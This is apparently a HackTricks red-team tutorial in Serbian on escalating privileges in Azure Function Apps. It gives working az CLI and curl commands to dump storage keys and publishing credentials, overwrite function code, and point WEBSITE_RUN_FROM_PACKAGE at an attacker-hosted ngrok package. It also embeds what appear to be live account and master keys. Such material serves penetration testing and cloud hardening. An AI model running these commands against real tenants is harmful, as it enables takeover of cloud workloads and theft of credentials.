Az - Functions App Privesc

Reading time: 15 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Function Apps

Proverite sledeću stranicu za više informacija:

Az - Function Apps

Bucket Read/Write

Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći različite kontejnere (prilagođene ili sa unapred definisanim imenima) koji mogu sadržati kod koji izvršava funkcija.

Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad njim, možete naterati funkciju da izvrši bilo koji kod i eskalirati privilegije na upravljane identitete povezane sa funkcijom.

  • File Share (WEBSITE_CONTENTAZUREFILECONNECTIONSTRING i WEBSITE_CONTENTSHARE)

Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i naterati funkciju da učita proizvoljan kod, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom.

Ova metoda implementacije obično konfiguriše postavke WEBSITE_CONTENTAZUREFILECONNECTIONSTRING i WEBSITE_CONTENTSHARE koje možete dobiti od

bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Te konfiguracije će sadržati Storage Account Key koji Funkcija može koristiti za pristup kodu.

caution

Sa dovoljno dozvola za povezivanje na File Share i modifikovanje skripte koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.

Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka:

Az - File Shares

bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
  • function-releases (WEBSITE_RUN_FROM_PACKAGE)

Takođe je uobičajeno pronaći zip izdanja unutar fascikle function-releases u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru obično nazvanom function-releases.

Obično će ova metoda implementacije postaviti WEBSITE_RUN_FROM_PACKAGE konfiguraciju u:

bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>

Ova konfiguracija obično sadrži SAS URL za preuzimanje koda iz Storage Account-a.

caution

Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji sadrži kod u zip-u moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.

  • github-actions-deploy (WEBSITE_RUN_FROM_PACKAGE)

Baš kao u prethodnom slučaju, ako je implementacija izvršena putem Github Actions, moguće je pronaći folder github-actions-deploy u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju WEBSITE_RUN_FROM_PACKAGE.

  • scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING i WEBSITE_CONTENTSHARE)

Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći kontejner scm-releases. Tamo je moguće pronaći najnovije izdanje u Squashfs filesystem file format i stoga je moguće pročitati kod funkcije:

bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip

Takođe je moguće pronaći master i functions ključeve pohranjene u skladišnom računu u kontejneru azure-webjobs-secrets unutar fascikle <app-name> u JSON datotekama koje možete pronaći unutra.

caution

Sa dovoljno dozvola za povezivanje na blob kontejner koji sadrži kod u zip ekstenzijskoj datoteci (koja zapravo jeste squashfs) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.

bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite

Microsoft.Web/sites/host/listkeys/action

Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i ključ hosta, određene funkcije sa:

bash
az functionapp keys list --resource-group <res_group> --name <func-name>

Sa master ključem je takođe moguće dobiti izvorni kod na URL-u kao što je:

bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v

I da promenite kod koji se izvršava u funkciji sa:

bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v

Microsoft.Web/sites/functions/listKeys/action

Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa:

bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"

Microsoft.Web/sites/host/functionKeys/write

Ova dozvola omogućava kreiranje/aktuelizaciju funkcijskog ključa specificirane funkcije sa:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/host/masterKey/write

Ova dozvola omogućava kreiranje/aktuelizaciju glavnog ključa za određenu funkciju sa:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

caution

Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije!

Microsoft.Web/sites/host/systemKeys/write

Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa:

bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==

Microsoft.Web/sites/config/list/action

Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti AzureWebJobsStorage ili WEBSITE_CONTENTAZUREFILECONNECTIONSTRING koje sadrže ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama.

bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>

Pored toga, ova dozvola takođe omogućava dobijanje SCM korisničkog imena i lozinke (ako je omogućeno) sa:

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"

Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write

Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus da se modifikuju te vrednosti. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije.

Stoga je moguće postaviti vrednost podešavanja WEBSITE_RUN_FROM_PACKAGE koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije:

  • Počnite tako što ćete dobiti trenutnu konfiguraciju
bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
  • Kreirajte kod koji želite da funkcija izvrši i javno ga hostujte.
bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
  • Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju WEBSITE_RUN_FROM_PACKAGE koja pokazuje na URL sa zip-om koji sadrži kod.

Sledeći je primer mojih vlastitih podešavanja koja ćete morati da promenite za svoja, obratite pažnju na kraju na vrednosti "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip", ovde sam hostovao aplikaciju.

bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'

Microsoft.Web/sites/hostruntime/vfs/write

Sa ovom dozvolom je moguće modifikovati kod aplikacije putem web konzole (ili putem sledeće API tačke):

bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body

Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)

Ova dozvola omogućava da se prikažu svi profili za objavljivanje koji u suštini sadrže basic auth credentials:

bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json

Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću:

bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
  • Ako su REDACTED akreditivi

Ako vidite da su ti akreditivi REDACTED, to je zato što morate omogućiti SCM osnovnu opciju autentifikacije i za to vam je potrebna druga dozvola (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):

bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
  • Method SCM

Zatim, možete pristupiti sa ovim osnovnim autentifikacionim podacima za SCM URL vaše funkcijske aplikacije i dobiti vrednosti env varijabli:

bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy

Napomena da je SCM korisničko ime obično karakter "$" praćen imenom aplikacije, tako da: $<app-name>.

Možete takođe pristupiti veb stranici sa https://<app-name>.scm.azurewebsites.net/BasicAuth

Vrednosti podešavanja sadrže AccountKey skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom.

  • Metoda FTP

Povežite se na FTP server koristeći:

bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it

Napomena da je FTP korisničko ime obično u formatu <app-name>\$<app-name>.

Microsoft.Web/sites/hostruntime/vfs/read

Ova dozvola omogućava čitati izvorni kod aplikacije putem VFS:

bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"

Microsoft.Web/sites/functions/token/action

Sa ovom dozvolom je moguće dobiti admin token koji se kasnije može koristiti za preuzimanje master key i tako pristupiti i izmeniti kod funkcije.

Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da možda nije omogućen ili više ne funkcioniše, ali ovako biste to uradili:

bash
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"

Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)

Ova dozvola omogućava omogućavanje funkcija koje mogu biti onemogućene (ili njihovo onemogućavanje).

bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"

Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradi):

bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"

Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)

Sa ovim dozvolama moguće je modifikovati kontejner koji pokreće funkcijska aplikacija konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši.

bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"

Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)

Sa ovim dozvolama moguće je priključiti novu korisničku upravljanu identitet na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet.

bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>

Remote Debugging

Takođe je moguće povezati se i debagovati pokrenutu Azure funkciju kao objašnjeno u dokumentaciji. Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija.

Moguće je proveriti da li funkcija ima omogućeno debagovanje sa:

bash
az functionapp show --name <app-name> --resource-group <res-group>

Imajući dozvolu Microsoft.Web/sites/config/write, takođe je moguće staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read i Microsoft.Web/sites/Read).

bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>

Promena Github repozitorijuma

Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, novi kod nije učitan (verovatno zato što očekuje da Github Action ažurira kod).
Pored toga, federisana akreditivna identitet upravljanja nije ažurirana da dozvoli novi repozitorijum, tako da izgleda da ovo nije od velike koristi.

bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks